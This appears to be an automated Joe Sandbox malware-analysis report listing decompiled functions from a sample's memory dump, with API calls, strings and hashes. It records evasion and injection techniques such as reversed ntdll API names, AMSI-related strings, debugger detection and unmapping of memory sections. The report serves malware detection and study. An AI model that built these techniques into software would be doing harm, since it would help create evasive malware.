Function 027E8818 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(bcrypt,?,000005FC,00000000,0282B3A4,027EA43F,ScanString,0282B3A4,027EA7F4,ScanBuffer,0282B3A4,027EA7F4,Initialize,0282B3A4,027EA7F4,UacScan), ref: 027E882C
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 027E8846
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,000005FC,00000000,0282B3A4,027EA43F,ScanString,0282B3A4,027EA7F4,ScanBuffer,0282B3A4,027EA7F4,Initialize), ref: 027E8882

Part of subcall function 027E7D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 027E7DEC

Strings

bcrypt, xrefs: 027E882B
BCryptVerifySignature, xrefs: 027E883F

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: e9ea02c49ae79e6b2992b1c7d5c55d7c71101612f354684ff2446c09383ec4f6
Instruction ID: 54ab804027e6dde41dc6509da60e52d95f769a0d406903936d146255e1549cc3
Opcode Fuzzy Hash: e9ea02c49ae79e6b2992b1c7d5c55d7c71101612f354684ff2446c09383ec4f6
Instruction Fuzzy Hash: CFF02278E83B045EE730A668BA4DF2633ECE34831CF0D492AB008C72C0C3715868CB20

Function 027EFA38 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KernelBase), ref: 027EFA48
GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 027EFA5A
CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 027EFA71

Strings

CheckRemoteDebuggerPresent, xrefs: 027EFA54
KernelBase, xrefs: 027EFA43

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: AddressCheckDebuggerHandleModulePresentProcRemote
String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 35162468-539270669
Opcode ID: 6e73c6a7356adabe1b05a47272d314494303615280b6980f8aeb5b3a3e913383
Instruction ID: f502e16f56deb7b1708dcc704458b4d7919f871a7f4bf0ed3aea86abe9b94101
Opcode Fuzzy Hash: 6e73c6a7356adabe1b05a47272d314494303615280b6980f8aeb5b3a3e913383
Instruction Fuzzy Hash: 4FF0A770904248AADF11A6F8C88CB9CFBB95B0A328F2403D1D4266A9E1E7711644C6AA

Function 027EE064 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 027D4F20: SysAllocStringLen.OLEAUT32(?,?), ref: 027D4F2E

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,027EE134), ref: 027EE09F
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,027EE134), ref: 027EE0CF
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 027EE0E4
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 027EE110
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 027EE119

Part of subcall function 027D4C60: SysFreeString.OLEAUT32(027EF798), ref: 027D4C6E

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
String ID:
API String ID: 1897104825-0
Opcode ID: c9f02ad11066dca1ca7883b16efee9dd6844e816fc62fd9c7e9ad4cb14b9efd3
Instruction ID: 15349d44fa63ee430261b5859b0d74645901ad0ee560e901ba101f2844e6d1a5
Opcode Fuzzy Hash: c9f02ad11066dca1ca7883b16efee9dd6844e816fc62fd9c7e9ad4cb14b9efd3
Instruction Fuzzy Hash: 9821D371A40308BBEB11EAE4CC56FDE77BDEB48700F510461F601F71D0DA74AA448B65

Function 027EE7AC Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 027EE8EA

Strings

OpenSession, xrefs: 027EE88C
Initialize, xrefs: 027EE7DA
ScanBuffer, xrefs: 027EE833

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: aeb2b10d1a7a94b2d85ea304b88195d8e0f12451ffec76df6f4ba717de231d6b
Instruction ID: 7501c609f0c005200415d19c0c11af21389de49fab16e30db7648db2542d3896
Opcode Fuzzy Hash: aeb2b10d1a7a94b2d85ea304b88195d8e0f12451ffec76df6f4ba717de231d6b
Instruction Fuzzy Hash: 0B414E75F102499BEF02EBA4D895ADEB7FAEF9C710F604831E042A7250DA70AD018F61

Function 027EDF80 Relevance: 6.1, APIs: 4, Instructions: 80nativefileCOMMON

Download Yara Rule

APIs

Part of subcall function 027D4F20: SysAllocStringLen.OLEAUT32(?,?), ref: 027D4F2E

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,027EE052), ref: 027EDFBF
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 027EDFF9
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 027EE026
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 027EE02F

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: a9fbb95e86c329e08604a17b7ffdb07f6b97c2a03a5cc7b26cbc4b1fb362d745
Instruction ID: 0062d2f6150ccd3f3326e29fb5bfef8bba4f686b4ff5acf5c4cfcc379a9e9d65
Opcode Fuzzy Hash: a9fbb95e86c329e08604a17b7ffdb07f6b97c2a03a5cc7b26cbc4b1fb362d745
Instruction Fuzzy Hash: 0921F171A40248BAEF21EBA4CD56F9E77BDEB08B00F614461B601F71D0D7B46E048B65

Function 027E8654 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62processCOMMON

Download Yara Rule

APIs

Part of subcall function 027E8098: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,027E8108,?,?,00000000,?,027E7A7E,ntdll,00000000,00000000,027E7AC3,?,?,00000000), ref: 027E80D6
Part of subcall function 027E8098: GetModuleHandleA.KERNELBASE(?), ref: 027E80EA

Part of subcall function 027E8140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027E81C8,?,?,00000000,00000000,?,027E80E1,00000000,KernelBASE,00000000,00000000,027E8108), ref: 027E818D
Part of subcall function 027E8140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027E8193
Part of subcall function 027E8140: GetProcAddress.KERNEL32(?,?), ref: 027E81A5

CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 027E86E0

Strings

Kernel32, xrefs: 027E869F
CreateProcessAsUserW, xrefs: 027E866D

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$CreateProcessUser
String ID: CreateProcessAsUserW$Kernel32
API String ID: 3130163322-2353454454
Opcode ID: 126979a35ec61358ed0ee4449c57685d8fbb724a7b9f364e8cb7e7b790897144
Instruction ID: f654ab361b02969438039ce0dc079ec3956848ab5323b0bbd4a7d0453bc4aa56
Opcode Fuzzy Hash: 126979a35ec61358ed0ee4449c57685d8fbb724a7b9f364e8cb7e7b790897144
Instruction Fuzzy Hash: 481112B6640208BFEB81EFA8DE46F9A37EDEB0C714F464420BA09D3650C630ED108B75

Function 027E7A2A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 027E8098: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,027E8108,?,?,00000000,?,027E7A7E,ntdll,00000000,00000000,027E7AC3,?,?,00000000), ref: 027E80D6
Part of subcall function 027E8098: GetModuleHandleA.KERNELBASE(?), ref: 027E80EA

Part of subcall function 027E8140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027E81C8,?,?,00000000,00000000,?,027E80E1,00000000,KernelBASE,00000000,00000000,027E8108), ref: 027E818D
Part of subcall function 027E8140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027E8193
Part of subcall function 027E8140: GetProcAddress.KERNEL32(?,?), ref: 027E81A5

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 027E7A9F

Strings

ntdll, xrefs: 027E7A74
yromeMlautriVetacollAwZ, xrefs: 027E7A47

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$AllocateMemoryVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 4072585319-445027087
Opcode ID: 4aa6e6e9700a1fb5ae6fc02a2ea1ad8e175e43bbebe4026d7624ebc037995988
Instruction ID: f7a02cf9f48bf1b1ae5d8c47931ddaa642e4909edd183d054d39e01bf93484e1
Opcode Fuzzy Hash: 4aa6e6e9700a1fb5ae6fc02a2ea1ad8e175e43bbebe4026d7624ebc037995988
Instruction Fuzzy Hash: 40116D79600208BFEB15DFA8DD59FAEB7FDEB4C710F458464B901D7240DA30AA148B75

Function 027E7A2C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 027E8098: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,027E8108,?,?,00000000,?,027E7A7E,ntdll,00000000,00000000,027E7AC3,?,?,00000000), ref: 027E80D6
Part of subcall function 027E8098: GetModuleHandleA.KERNELBASE(?), ref: 027E80EA

Part of subcall function 027E8140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027E81C8,?,?,00000000,00000000,?,027E80E1,00000000,KernelBASE,00000000,00000000,027E8108), ref: 027E818D
Part of subcall function 027E8140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027E8193
Part of subcall function 027E8140: GetProcAddress.KERNEL32(?,?), ref: 027E81A5

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 027E7A9F

Strings

ntdll, xrefs: 027E7A74
yromeMlautriVetacollAwZ, xrefs: 027E7A47

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$AllocateMemoryVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 4072585319-445027087
Opcode ID: 4c60b699f862d9cc2561943658b149fa00e4ab2f2aecb5da56dc03f3848a8d46
Instruction ID: 41dd084b77a26abc34124811db2759b9aa9520e85d45a835aa8bc7abe33a965f
Opcode Fuzzy Hash: 4c60b699f862d9cc2561943658b149fa00e4ab2f2aecb5da56dc03f3848a8d46
Instruction Fuzzy Hash: 64116D79600208BFEB15DFA8DD59F9EB7FDEB4C710F458464B901D7240DA30AA148B75

Function 027E82CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 027E8098: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,027E8108,?,?,00000000,?,027E7A7E,ntdll,00000000,00000000,027E7AC3,?,?,00000000), ref: 027E80D6
Part of subcall function 027E8098: GetModuleHandleA.KERNELBASE(?), ref: 027E80EA

Part of subcall function 027E8140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027E81C8,?,?,00000000,00000000,?,027E80E1,00000000,KernelBASE,00000000,00000000,027E8108), ref: 027E818D
Part of subcall function 027E8140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027E8193
Part of subcall function 027E8140: GetProcAddress.KERNEL32(?,?), ref: 027E81A5

NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 027E833D

Strings

yromeMlautriVdaeRtN, xrefs: 027E82E7
ntdll, xrefs: 027E8314

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryReadVirtual
String ID: ntdll$yromeMlautriVdaeRtN
API String ID: 2521977463-737317276
Opcode ID: 4fe163adfc6ecae244d0f3bcf02bdbb98a51d0bc72d18c6b5862653d6e33dbf4
Instruction ID: 3976147d0fe3327558a10d0407bf0d3985119e7ba86eda2502cab677a2799ebd
Opcode Fuzzy Hash: 4fe163adfc6ecae244d0f3bcf02bdbb98a51d0bc72d18c6b5862653d6e33dbf4
Instruction Fuzzy Hash: 7E018C79600208AFEB01EFA8DC59F9EB7FEEB4C700F818420B502D7650D630A9048F35

Function 027E7D78 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 027E8098: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,027E8108,?,?,00000000,?,027E7A7E,ntdll,00000000,00000000,027E7AC3,?,?,00000000), ref: 027E80D6
Part of subcall function 027E8098: GetModuleHandleA.KERNELBASE(?), ref: 027E80EA

Part of subcall function 027E8140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027E81C8,?,?,00000000,00000000,?,027E80E1,00000000,KernelBASE,00000000,00000000,027E8108), ref: 027E818D
Part of subcall function 027E8140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027E8193
Part of subcall function 027E8140: GetProcAddress.KERNEL32(?,?), ref: 027E81A5

NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 027E7DEC

Strings

yromeMlautriVetirW, xrefs: 027E7D93
Ntdll, xrefs: 027E7DC3

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryVirtualWrite
String ID: Ntdll$yromeMlautriVetirW
API String ID: 2719805696-3542721025
Opcode ID: 542b5209f7f1e97550275743dd26ed702da1cd73ad970fcc290396a75edae737
Instruction ID: 470bdd61d940c82849884b80620b905e2c527ff47094f591dcbcfb1fc29199c2
Opcode Fuzzy Hash: 542b5209f7f1e97550275743dd26ed702da1cd73ad970fcc290396a75edae737
Instruction Fuzzy Hash: EB018C79600208AFEB05EFA8D85AE9AB7FDEB4C700F518864B502DB640D630AD148F74

Function 027E853C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 027E8098: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,027E8108,?,?,00000000,?,027E7A7E,ntdll,00000000,00000000,027E7AC3,?,?,00000000), ref: 027E80D6
Part of subcall function 027E8098: GetModuleHandleA.KERNELBASE(?), ref: 027E80EA

Part of subcall function 027E8140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027E81C8,?,?,00000000,00000000,?,027E80E1,00000000,KernelBASE,00000000,00000000,027E8108), ref: 027E818D
Part of subcall function 027E8140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027E8193
Part of subcall function 027E8140: GetProcAddress.KERNEL32(?,?), ref: 027E81A5

NtUnmapViewOfSection.NTDLL(?,?), ref: 027E85A1

Strings

noitceSfOweiVpamnUtN, xrefs: 027E8557
ntdll, xrefs: 027E8584

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$SectionUnmapView
String ID: noitceSfOweiVpamnUtN$ntdll
API String ID: 3503870465-2520021413
Opcode ID: a2aec7ec5a36c23c40a55e6a3a32739f5ff277555c9dc6949faad25c999710bd
Instruction ID: 667e621c3df57fdbbb04fc00b5f97b0027d2e8eb4414e4923dbdd21c5c4e45e2
Opcode Fuzzy Hash: a2aec7ec5a36c23c40a55e6a3a32739f5ff277555c9dc6949faad25c999710bd
Instruction Fuzzy Hash: FE016DB8640208BFEB11EBA4DD59F5EBBFEEB4C714F918460B402D7650DA30A9048E35

Function 027EDEA4 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON

Download Yara Rule

APIs

Rt.N(?,?,00000000,027EDF72), ref: 027EDF20
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,027EDF72), ref: 027EDF36
NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,027EDF72), ref: 027EDF55

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: Path$DeleteFileNameName_
String ID:
API String ID: 4284456518-0
Opcode ID: feee4cddee16ccc849673cdc9b4b2a5aa4a96b3e0fd568bc8f0a47bd880fa085
Instruction ID: 31868c32112264d5b84956b80603befb59388fc809a73feb8457e239f5682e42
Opcode Fuzzy Hash: feee4cddee16ccc849673cdc9b4b2a5aa4a96b3e0fd568bc8f0a47bd880fa085
Instruction Fuzzy Hash: 9A01D675A442487EEF12E7A0CD9ABCD77BDAB49300F5004D2D211F7081DA30AB088B71

Function 027EDEF8 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 027D4F20: SysAllocStringLen.OLEAUT32(?,?), ref: 027D4F2E

Rt.N(?,?,00000000,027EDF72), ref: 027EDF20
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,027EDF72), ref: 027EDF36
NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,027EDF72), ref: 027EDF55

Part of subcall function 027D4C60: SysFreeString.OLEAUT32(027EF798), ref: 027D4C6E

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: PathString$AllocDeleteFileFreeNameName_
String ID:
API String ID: 1530111750-0
Opcode ID: ad64351bc3a147d3aee5164ba1e9464b6f87384a82a44bfa4bbf3f52b96eadcf
Instruction ID: 98484f54284729e639ff1feb2617556f6a181fc465302b4cf0866192a43abb6f
Opcode Fuzzy Hash: ad64351bc3a147d3aee5164ba1e9464b6f87384a82a44bfa4bbf3f52b96eadcf
Instruction Fuzzy Hash: DB014471940208BADB12EBA0CD96FDEB7FDDB49700F5044A1E601E6180EA74AB048A75

Function 027E6DC8 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

Part of subcall function 027E6D6C: CLSIDFromProgID.OLE32(00000000,?,00000000,027E6DB9,?,?,?,00000000), ref: 027E6D99

CoCreateInstance.OLE32(?,00000000,00000005,027E6EAC,00000000,00000000,027E6E2B,?,00000000,027E6E9B), ref: 027E6E17

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: d5e6a360ae420c6379cd9d0935e8f183a809ebf7dc1b913ff98a9e838b16752f
Instruction ID: 9b0cbc3f403dcc89f16dcdaec5e63770ecdd77ae7a70201d8cab3679f94c83b7
Opcode Fuzzy Hash: d5e6a360ae420c6379cd9d0935e8f183a809ebf7dc1b913ff98a9e838b16752f
Instruction Fuzzy Hash: 2B01DF71208704AEEF12EF61DC2286FBBBDE74DB00B910879F406E2680E6309900C970

Function 027EFABC Relevance: 220.8, APIs: 8, Strings: 113, Instructions: 9098COMMON

Download Yara Rule

APIs

InetIsOffline.URL(00000000,00000000,027FB99E,?,?,?,00000305,00000000,00000000), ref: 027EFAF6

Part of subcall function 027E889C: LoadLibraryA.KERNEL32(00000000,00000000,027E8983), ref: 027E88D0
Part of subcall function 027E889C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,027E8983), ref: 027E88E0
Part of subcall function 027E889C: GetProcAddress.KERNEL32(74AE0000,00000000), ref: 027E88F9
Part of subcall function 027E889C: FreeLibrary.KERNEL32(74AE0000,00000000,0282B388,Function_0000662C,00000004,0282B398,0282B388,000186A3,00000040,0282B39C,74AE0000,00000000,00000000,00000000,00000000,027E8983), ref: 027E8963

